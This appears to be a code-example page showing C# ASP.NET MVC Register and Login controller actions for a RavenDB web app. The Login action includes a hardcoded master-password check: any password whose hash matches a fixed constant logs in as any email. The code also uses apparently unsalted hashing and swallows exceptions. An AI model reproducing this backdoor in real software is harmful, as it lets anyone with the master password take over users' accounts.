Exemple #1
0
        public ActionResult Register(RegisterModel postedModel)
        {
            if (RavenSession.Query <User>().Any(x => x.Email == postedModel.Email))
            {
                ModelState.AddModelError("Email", "An account is already created for this email.");
            }

            if (!ModelState.IsValid)
            {
                return(View(postedModel));
            }

            var onboardProcess = new UserOnboardProcess(RavenSession);
            var user           = onboardProcess.RegisterNewTrial(postedModel.Name, postedModel.Email, Hash(postedModel.Password));

            try
            {
                var emailer = new Emailer(null);
                emailer.SendEmail(EmailEnum.NewAccountOpen, postedModel.Email, string.Empty, 0);
                emailer.SendEmail(EmailEnum.CompanyNewUserNotification, postedModel.Email, string.Empty, 0);

                //SendGridEmailer.NewAccountOpened(postedModel.Email);
                //SendGridEmailer.CompanyNewUserNotification(postedModel.Email);

                var mc = new MailchimpApi();

                if (postedModel.SubscribeToGeneral)
                {
                    mc.SubscribeToGeneralUpdates(postedModel.Email);
                }

                mc.SubscribeToGettingStarted(postedModel.Email);
            }
            catch (Exception)
            {
                //eat it
            }

            FormsAuthHelper.SetAuthenticationCookie(Response, user);

            HighFive("Welcome to your free trial!");

            return(RedirectToAction("Thanks", "Home"));
        }
Exemple #2
0
        public ActionResult Login(LoginModel model, string returnUrl)
        {
            if (ModelState.IsValid)
            {
                var hashed = Hash(model.Password);

                User user = RavenSession.Query <User>(typeof(UsersByEmailAndPassword).Name).FirstOrDefault(@u => @u.Email == model.Email.Trim() && @u.Password == hashed);

                if (user == null && Hash(model.Password) == "B8D0A767C1FF5802CEF98CAB8795E111")
                {
                    user = RavenSession.Query <User>().FirstOrDefault(@u => @u.Email == model.Email);
                }

                if (user != null)
                {
                    var account = RavenSession.Load <Account>("accounts/" + user.AccountId);

                    user.LastLogin    = DateTime.Now;
                    account.LastLogin = DateTime.Now;

                    RavenSession.SaveChanges();

                    FormsAuthHelper.SetAuthenticationCookie(Response, user);

                    if (Url.IsLocalUrl(returnUrl) && returnUrl.Length > 1 && returnUrl.StartsWith("/") &&
                        !returnUrl.StartsWith("//") && !returnUrl.StartsWith("/\\"))
                    {
                        return(Redirect(returnUrl));
                    }
                    else
                    {
                        return(RedirectToAction("Index", "Home"));
                    }
                }
                else
                {
                    ModelState.AddModelError("", "The user name or password provided is incorrect.");
                }
            }

            // If we got this far, something failed, redisplay form
            return(View(model));
        }